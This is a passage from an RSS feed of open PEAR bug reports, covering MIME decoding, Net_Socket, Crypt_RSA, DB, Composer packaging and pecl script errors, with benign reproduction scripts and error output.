within that is multipart/alternative with text/plain and multipart/mixed 
subparts (and the mixed part contains text/html and inline attachments).  
Headers with simplified boundaries (for easier reading) are at bottom.
 
When I use mimeDecode-&gt;decode() the returned msg_body is the entire 
raw part within it; that is, there's no recursion on all the subparts.  This 
appears to be reported in bug#21215 as well, but it appears unresolved.

Looking at line 324 of mimeDecode.php, I see that multipart/signed is 
handled separately from the other multipart cases below it, such that 
subparts are not decoded.  If I comment out that block it then gets caught 
by line 335 and thus handled like other multipart emails as expected.

Since I'm unfamiliar with signed email standards, I'm unsure why the 
block starting at line 324 is needed at all.  If sig_hdr and sig_body are 
special values to help signature verification against a raw msg_body, then 
maybe those should just be special return values added just for 
multipart/signed without affecting the rest of the expected multipart 
processing.  In that case there would be an 
if(strtolower($content_type['value'])=='multipart/signed'){} around line 
349 to add the sig_hdr and sig_body parameters.

-----

Content-Type: multipart/signed; boundary=&quot;Apple-Mail=_111&quot;; 
protocol=&quot;application/pkcs7-signature&quot;; micalg=sha-256
...
X-Mailer: Apple Mail (2.3608.120.23.2.4)

...

--Apple-Mail=_111
Content-Type: multipart/alternative; boundary=&quot;Apple-Mail=_D67DA570-
BD52-4A36-BBAD-76FAC2A72FF5&quot;

--Apple-Mail=_222
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=us-ascii

...

--Apple-Mail=_222
Content-Type: multipart/mixed; boundary=&quot;Apple-Mail=_56032FB6-5676-
46B2-B9FB-34581A21F699&quot;

--Apple-Mail=_333
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=us-ascii

...

--Apple-Mail=_333
Content-Disposition: inline; filename=Example.pdf
Content-Type: application/pdf; x-unix-mode=0644; name=&quot;Example.pdf&quot;
Content-Transfer-Encoding: base64


--Apple-Mail=_333
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=us-ascii


...

--Apple-Mail=_333--
--Apple-Mail=_222--
--Apple-Mail=_111
Content-Disposition: attachment; filename=smime.p7s
Content-Type: application/pkcs7-signature; name=smime.p7s
Content-Transfer-Encoding: base64</pre>]]></description>
      <dc:date>2021-01-27T03:05:49+00:00</dc:date>
      <dc:creator>pear &amp;#x61;&amp;#116; dlopez &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Mail_mimeDecode Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/26998">
      <title>Net_Socket: Bug 26998 [Open] Endless loop in write() if connection broken</title>
      <link>http://pear.php.net/bugs/26998</link>
      <content:encoded><![CDATA[<pre>Net_Socket Bug
Reported by avb
2020-11-11T19:26:09+00:00
PHP: Irrelevant OS: Windows Package Version: 1.2.2

Description:
------------
write() function has a separate code path for OS_WINDOWS containing a while ($pos &lt; $size) loop. Value returned by fwrite() call within a loop is checked for errors with === false.

Unfortunately, as this comment in PHP manual states
http://www.php.net/manual/en/function.fwrite.php#96951
fwrite() almost never returns false, it returns 0 in case of errors like broken connection. So the loop never exits.

The problem was re-introduced by https://github.com/pear/Net_Socket/pull/3 most likely as this was fixed a waaaaay back in https://pear.php.net/bugs/bug.php?id=14619

Test script:
---------------
require_once 'Net/Socket.php';

set_error_handler(
    function ($errNo, $errStr) {
        echo $errStr . ' [code: ' . $errNo . &quot;]\r\n&quot;;
    },
    E_ALL &amp; ~E_STRICT &amp; ~E_DEPRECATED
);

$suckIt = new Net_Socket();
$suckIt-&gt;connect('tcp://localhost', 80);
stream_socket_shutdown($suckIt-&gt;fp, STREAM_SHUT_WR);
echo $suckIt-&gt;write(&quot;ANYTHING&quot;);


Expected result:
----------------
One error saying &quot;write failed&quot; or something

Actual result:
--------------
Endless barrage of
fwrite(): send of 8 bytes failed with errno=10058 A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call.
 [code: 8]</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_Socket Bug
Reported by avb
2020-11-11T19:26:09+00:00
PHP: Irrelevant OS: Windows Package Version: 1.2.2

Description:
------------
write() function has a separate code path for OS_WINDOWS containing a while ($pos &lt; $size) loop. Value returned by fwrite() call within a loop is checked for errors with === false.

Unfortunately, as this comment in PHP manual states
http://www.php.net/manual/en/function.fwrite.php#96951
fwrite() almost never returns false, it returns 0 in case of errors like broken connection. So the loop never exits.

The problem was re-introduced by https://github.com/pear/Net_Socket/pull/3 most likely as this was fixed a waaaaay back in https://pear.php.net/bugs/bug.php?id=14619

Test script:
---------------
require_once 'Net/Socket.php';

set_error_handler(
    function ($errNo, $errStr) {
        echo $errStr . ' [code: ' . $errNo . &quot;]\r\n&quot;;
    },
    E_ALL &amp; ~E_STRICT &amp; ~E_DEPRECATED
);

$suckIt = new Net_Socket();
$suckIt-&gt;connect('tcp://localhost', 80);
stream_socket_shutdown($suckIt-&gt;fp, STREAM_SHUT_WR);
echo $suckIt-&gt;write(&quot;ANYTHING&quot;);


Expected result:
----------------
One error saying &quot;write failed&quot; or something

Actual result:
--------------
Endless barrage of
fwrite(): send of 8 bytes failed with errno=10058 A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call.
 [code: 8]</pre>]]></description>
      <dc:date>2020-11-11T19:26:09+00:00</dc:date>
      <dc:creator>borz_off &amp;#x61;&amp;#116; cs &amp;#x64;&amp;#111;&amp;#x74; msu &amp;#x64;&amp;#111;&amp;#x74; su</dc:creator>
      <dc:subject>Net_Socket Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/26925">
      <title>Crypt_RSA: Bug 26925 [Open] getPublicKey() returns private key</title>
      <link>http://pear.php.net/bugs/26925</link>
      <content:encoded><![CDATA[<pre>Crypt_RSA Bug
Reported by terrafrost
2020-03-30T04:32:41+00:00
PHP: Irrelevant OS: any Package Version: 1.2.1

Description:
------------
Crypt_RSA_KeyPair::getPublicKey() returns the private key - not the 
public key.

The fix is to replace this line (in Crypt/RSA/KeyPair.php):

$this-&gt;_public_key = &amp;$obj;

With this:

$this-&gt;_public_key = $obj;

I suppose I could make a PR to do just this but if I did that I'd also 
need to do a unit test and tbh I don't care enough to do that lol.

Test script:
---------------
$key_pair = new Crypt_RSA_KeyPair(1024);
echo $key_pair-&gt;getPrivateKey()-&gt;toString() . &quot;\n\n\n&quot;;
echo $key_pair-&gt;getPublicKey()-&gt;toString() . &quot;\n\n\n&quot;;

Expected result:
----------------
Should return a private key and a pubic key

Actual result:
--------------
Returns two private keys.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_RSA Bug
Reported by terrafrost
2020-03-30T04:32:41+00:00
PHP: Irrelevant OS: any Package Version: 1.2.1

Description:
------------
Crypt_RSA_KeyPair::getPublicKey() returns the private key - not the 
public key.

The fix is to replace this line (in Crypt/RSA/KeyPair.php):

$this-&gt;_public_key = &amp;$obj;

With this:

$this-&gt;_public_key = $obj;

I suppose I could make a PR to do just this but if I did that I'd also 
need to do a unit test and tbh I don't care enough to do that lol.

Test script:
---------------
$key_pair = new Crypt_RSA_KeyPair(1024);
echo $key_pair-&gt;getPrivateKey()-&gt;toString() . &quot;\n\n\n&quot;;
echo $key_pair-&gt;getPublicKey()-&gt;toString() . &quot;\n\n\n&quot;;

Expected result:
----------------
Should return a private key and a pubic key

Actual result:
--------------
Returns two private keys.</pre>]]></description>
      <dc:date>2020-03-30T04:32:41+00:00</dc:date>
      <dc:creator>terrafrost &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Crypt_RSA Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23840">
      <title>Documentation: Documentation Problem 23840 [Open] Pyrus recommended, but no longer maintained</title>
      <link>http://pear.php.net/bugs/23840</link>
      <content:encoded><![CDATA[<pre>Documentation Documentation Problem
Reported by cmb
2019-08-07T09:09:52+00:00
PHP: Irrelevant OS: n/a Package Version: 

Description:
------------
The documentation goes to great lengths listing the benefits of using pyrus 
over pear, but it seems that pyrus is no longer maintained. The latest 
release[1] is from 2012-11-05; the latest commit in the repo from 2014-
07-30[2].

The documentation should make that clear.

[1] &lt;https://github.com/pyrus/Pyrus/releases/tag/Pyrus-2.0.0a4&gt;
[2] &lt;https://github.com/pyrus/Pyrus/commits/master&gt;</pre>]]></content:encoded>
      <description><![CDATA[<pre>Documentation Documentation Problem
Reported by cmb
2019-08-07T09:09:52+00:00
PHP: Irrelevant OS: n/a Package Version: 

Description:
------------
The documentation goes to great lengths listing the benefits of using pyrus 
over pear, but it seems that pyrus is no longer maintained. The latest 
release[1] is from 2012-11-05; the latest commit in the repo from 2014-
07-30[2].

The documentation should make that clear.

[1] &lt;https://github.com/pyrus/Pyrus/releases/tag/Pyrus-2.0.0a4&gt;
[2] &lt;https://github.com/pyrus/Pyrus/commits/master&gt;</pre>]]></description>
      <dc:date>2019-08-07T09:09:52+00:00</dc:date>
      <dc:creator>cmbecker69 &amp;#x61;&amp;#116; gmx &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Documentation Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23805">
      <title>PEAR: Bug 23805 [Open] Stack pop should check to ensure stack is not empty</title>
      <link>http://pear.php.net/bugs/23805</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by happydog
2019-04-09T16:55:02+00:00
PHP: Irrelevant OS: All Package Version: 1.10.8

Description:
------------
PEAR::staticPopErrorHandling() and PEAR::popErrorHandling() do not perform any checks that the stack is non-empty and so may give unexpected results or PHP errors in this situation.

Most notably, on PHP 7.2 and above, the sizeof() calls will now throw warnings if it is passed a non-array, as will be the case if the stack is empty: Warning: sizeof(): Parameter must be an array or an object that implements Countable

At the very least, the code should bail-out if the stack is empty, however it may also be sensible to trigger some kind of error in this situation (though I don't know enough about the functions or how they are used to tell if this is appropriate).</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by happydog
2019-04-09T16:55:02+00:00
PHP: Irrelevant OS: All Package Version: 1.10.8

Description:
------------
PEAR::staticPopErrorHandling() and PEAR::popErrorHandling() do not perform any checks that the stack is non-empty and so may give unexpected results or PHP errors in this situation.

Most notably, on PHP 7.2 and above, the sizeof() calls will now throw warnings if it is passed a non-array, as will be the case if the stack is empty: Warning: sizeof(): Parameter must be an array or an object that implements Countable

At the very least, the code should bail-out if the stack is empty, however it may also be sensible to trigger some kind of error in this situation (though I don't know enough about the functions or how they are used to tell if this is appropriate).</pre>]]></description>
      <dc:date>2019-04-09T16:55:02+00:00</dc:date>
      <dc:creator>pear &amp;#x61;&amp;#116; kennel17 &amp;#x64;&amp;#111;&amp;#x74; co &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23789">
      <title>Text_Wiki: Bug 23789 [Open] &quot;Undefined offset: 2&quot; error on line 1324</title>
      <link>http://pear.php.net/bugs/23789</link>
      <content:encoded><![CDATA[<pre>Text_Wiki Bug
Reported by kguest
2019-03-13T00:22:05+00:00
PHP: Irrelevant OS:  Package Version: 1.2.1

Description:
------------
When attempting to extract name, this errors happens.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Text_Wiki Bug
Reported by kguest
2019-03-13T00:22:05+00:00
PHP: Irrelevant OS:  Package Version: 1.2.1

Description:
------------
When attempting to extract name, this errors happens.</pre>]]></description>
      <dc:date>2019-03-13T00:22:05+00:00</dc:date>
      <dc:creator>kguest &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>Text_Wiki Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23784">
      <title>DB: Bug 23784 [Open] The getRow method with placeholder causes PHP warning and doesn't return data</title>
      <link>http://pear.php.net/bugs/23784</link>
      <content:encoded><![CDATA[<pre>DB Bug
Reported by blueblood
2018-12-21T09:38:24+00:00
PHP: 5.6.39 OS: CentOS Linux release 7.3.1611 Package Version: 1.9.3

Description:
------------
Dear,

The getRow method with placeholder occurs PHP warning and does not return correct result.
As far as checked, the value of &quot;result&quot; and &quot;statement&quot; property in DB_result object is updated from &quot;(oci8 statement)&quot; to &quot;(Unknown)&quot; after $this-&gt;freePrepared in common.php on line 1350 to be executed.
Please check it.
Thank you and best regards,


Test script:
---------------
&lt;?php
$dsn = 'please set';
$conn = DB::connect($dsn);
if (DB::isError($conn)) {
    echo &quot;connection failed&quot; . PHP_EOL;
    exit;
}

$sql = 'SELECT id FROM xxx_tbl WHERE user_hash = ?';
$params = ['1234567890'];
$row = $conn-&gt;getRow($sql, $params);
var_dump($row);
$conn-&gt;disconnect();
exit;

Expected result:
----------------
the first row's data in an array

Actual result:
--------------
I got the following PHP warning

PHP Warning:  ocifetchinto(): 20 is not a valid oci8 statement resource in /home/blueblood/vendor/pear-pear.php.net/DB/DB/oci8.php on line 397</pre>]]></content:encoded>
      <description><![CDATA[<pre>DB Bug
Reported by blueblood
2018-12-21T09:38:24+00:00
PHP: 5.6.39 OS: CentOS Linux release 7.3.1611 Package Version: 1.9.3

Description:
------------
Dear,

The getRow method with placeholder occurs PHP warning and does not return correct result.
As far as checked, the value of &quot;result&quot; and &quot;statement&quot; property in DB_result object is updated from &quot;(oci8 statement)&quot; to &quot;(Unknown)&quot; after $this-&gt;freePrepared in common.php on line 1350 to be executed.
Please check it.
Thank you and best regards,


Test script:
---------------
&lt;?php
$dsn = 'please set';
$conn = DB::connect($dsn);
if (DB::isError($conn)) {
    echo &quot;connection failed&quot; . PHP_EOL;
    exit;
}

$sql = 'SELECT id FROM xxx_tbl WHERE user_hash = ?';
$params = ['1234567890'];
$row = $conn-&gt;getRow($sql, $params);
var_dump($row);
$conn-&gt;disconnect();
exit;

Expected result:
----------------
the first row's data in an array

Actual result:
--------------
I got the following PHP warning

PHP Warning:  ocifetchinto(): 20 is not a valid oci8 statement resource in /home/blueblood/vendor/pear-pear.php.net/DB/DB/oci8.php on line 397</pre>]]></description>
      <dc:date>2018-12-21T12:43:04+00:00</dc:date>
      <dc:creator>blueblood74 &amp;#x61;&amp;#116; hotmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>DB Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23783">
      <title>MDB2_Driver_mysql: Feature/Change Request 23783 [Open] PHP 7.x ready</title>
      <link>http://pear.php.net/bugs/23783</link>
      <content:encoded><![CDATA[<pre>MDB2_Driver_mysql Feature/Change Request
Reported by joneum
2018-12-21T09:13:23+00:00
PHP: HEAD SVN-2018-12-21 OS: FreeBSD Package Version: 1.5.0b4

Description:
------------
Is there a chance to make this PHP 7.x ready?</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2_Driver_mysql Feature/Change Request
Reported by joneum
2018-12-21T09:13:23+00:00
PHP: HEAD SVN-2018-12-21 OS: FreeBSD Package Version: 1.5.0b4

Description:
------------
Is there a chance to make this PHP 7.x ready?</pre>]]></description>
      <dc:date>2018-12-21T09:13:23+00:00</dc:date>
      <dc:creator>joneum &amp;#x61;&amp;#116; FreeBSD &amp;#x64;&amp;#111;&amp;#x74; org</dc:creator>
      <dc:subject>MDB2_Driver_mysql Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23780">
      <title>Text_Wiki: Bug 23780 [Open] Online Manual</title>
      <link>http://pear.php.net/bugs/23780</link>
      <content:encoded><![CDATA[<pre>Text_Wiki Bug
Reported by dannystark
2018-12-05T13:04:40+00:00
PHP: 5.6.38 OS:  Package Version: 

Description:
------------
Link to Full Online Manual is not working :-/</pre>]]></content:encoded>
      <description><![CDATA[<pre>Text_Wiki Bug
Reported by dannystark
2018-12-05T13:04:40+00:00
PHP: 5.6.38 OS:  Package Version: 

Description:
------------
Link to Full Online Manual is not working :-/</pre>]]></description>
      <dc:date>2018-12-05T13:04:40+00:00</dc:date>
      <dc:creator>lackner &amp;#x61;&amp;#116; pulswerk &amp;#x64;&amp;#111;&amp;#x74; at</dc:creator>
      <dc:subject>Text_Wiki Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23779">
      <title>HTML_Common: Feature/Change Request 23779 [Open] Please tag release v1.2.5 on Packagist</title>
      <link>http://pear.php.net/bugs/23779</link>
      <content:encoded><![CDATA[<pre>HTML_Common Feature/Change Request
Reported by peternowee
2018-11-29T20:27:43+00:00
PHP: Irrelevant OS:  Package Version: 1.2.5

Description:
------------
Currently, the pear/html_common package registered on Packagist.org (composer repository) has two versions available: dev-trunk and 
dev-topics/composer-for-pear. However, pear/html_table requires pear/html_common version ^1.2.5. Composer fails to find that, because there is no version tagged with the version number available on Packagist.

I'm reporting this here, because I do not see any contact details for the maintainer of this package on Packagist.

Test script:
---------------
Example 1 composer.json file:

{
    &quot;require&quot;: {
        &quot;pear/html_common&quot;: &quot;^1.2.5&quot;
    }
}


Example 2 composer.json file. Even explicitly allowing dev versions does not help:

{
    &quot;minimum-stability&quot;: &quot;dev&quot;,
    &quot;require&quot;: {
        &quot;pear/html_common&quot;: &quot;^1.2.5@dev&quot;
    }
}


Actual result:
--------------
Example 1 fails:

$ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested package pear/html_common ^1.2.5 exists as pear/html_common[dev-topics/composer-for-pear, dev-trunk] but these are rejected by your constraint.


Example 2 fails:

$ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested package pear/html_common ^1.2.5@dev exists as pear/html_common[dev-topics/composer-for-pear, dev-trunk] but these are rejected by your constraint.</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Common Feature/Change Request
Reported by peternowee
2018-11-29T20:27:43+00:00
PHP: Irrelevant OS:  Package Version: 1.2.5

Description:
------------
Currently, the pear/html_common package registered on Packagist.org (composer repository) has two versions available: dev-trunk and 
dev-topics/composer-for-pear. However, pear/html_table requires pear/html_common version ^1.2.5. Composer fails to find that, because there is no version tagged with the version number available on Packagist.

I'm reporting this here, because I do not see any contact details for the maintainer of this package on Packagist.

Test script:
---------------
Example 1 composer.json file:

{
    &quot;require&quot;: {
        &quot;pear/html_common&quot;: &quot;^1.2.5&quot;
    }
}


Example 2 composer.json file. Even explicitly allowing dev versions does not help:

{
    &quot;minimum-stability&quot;: &quot;dev&quot;,
    &quot;require&quot;: {
        &quot;pear/html_common&quot;: &quot;^1.2.5@dev&quot;
    }
}


Actual result:
--------------
Example 1 fails:

$ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested package pear/html_common ^1.2.5 exists as pear/html_common[dev-topics/composer-for-pear, dev-trunk] but these are rejected by your constraint.


Example 2 fails:

$ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested package pear/html_common ^1.2.5@dev exists as pear/html_common[dev-topics/composer-for-pear, dev-trunk] but these are rejected by your constraint.</pre>]]></description>
      <dc:date>2018-11-29T20:27:43+00:00</dc:date>
      <dc:creator>plmn+hfn9t &amp;#x61;&amp;#116; peternowee &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_Common Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23777">
      <title>PEAR: Bug 23777 [Open] Faulty pecl script</title>
      <link>http://pear.php.net/bugs/23777</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by shea690901
2018-11-18T14:09:44+00:00
PHP: Irrelevant OS: Ubuntu 18.04.1 LTS Package Version: 1.10.6

Description:
------------
After fresh install of PEAR 1.10.6 (using go-pear.phar) the pecl script throws several messages and stops without producing the expected result while returning an actual error.

Using the 'help' command one get's at least a partial response, with no error return code.



This behavior can be corrected by removing the php option '-n' on the last line of the script, although I can't tell if the script then always works in the intended way...

Test script:
---------------
pecl [any command]

Expected result:
----------------
INSTALLED PACKAGES, CHANNEL PECL.PHP.NET:
=========================================
PACKAGE   VERSION STATE
libsodium 2.0.13  stable
mcrypt    1.0.1   snapshot


Actual result:
--------------
Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249
XML Extension not found</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by shea690901
2018-11-18T14:09:44+00:00
PHP: Irrelevant OS: Ubuntu 18.04.1 LTS Package Version: 1.10.6

Description:
------------
After fresh install of PEAR 1.10.6 (using go-pear.phar) the pecl script throws several messages and stops without producing the expected result while returning an actual error.

Using the 'help' command one get's at least a partial response, with no error return code.



This behavior can be corrected by removing the php option '-n' on the last line of the script, although I can't tell if the script then always works in the intended way...

Test script:
---------------
pecl [any command]

Expected result:
----------------
INSTALLED PACKAGES, CHANNEL PECL.PHP.NET:
=========================================
PACKAGE   VERSION STATE
libsodium 2.0.13  stable
mcrypt    1.0.1   snapshot


Actual result:
--------------
Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Warning: Invalid argument supplied for foreach() in Command.php on line 249

Warning: Invalid argument supplied for foreach() in /usr/share/pear/lib/PEAR/Command.php on line 249

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: honorsbaseinstall in Role.php on line 173

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: installable in Role.php on line 139

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: phpfile in Role.php on line 204

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Notice: Undefined index: config_vars in Role.php on line 46

Warning: Invalid argument supplied for foreach() in PEAR/Command.php on line 249

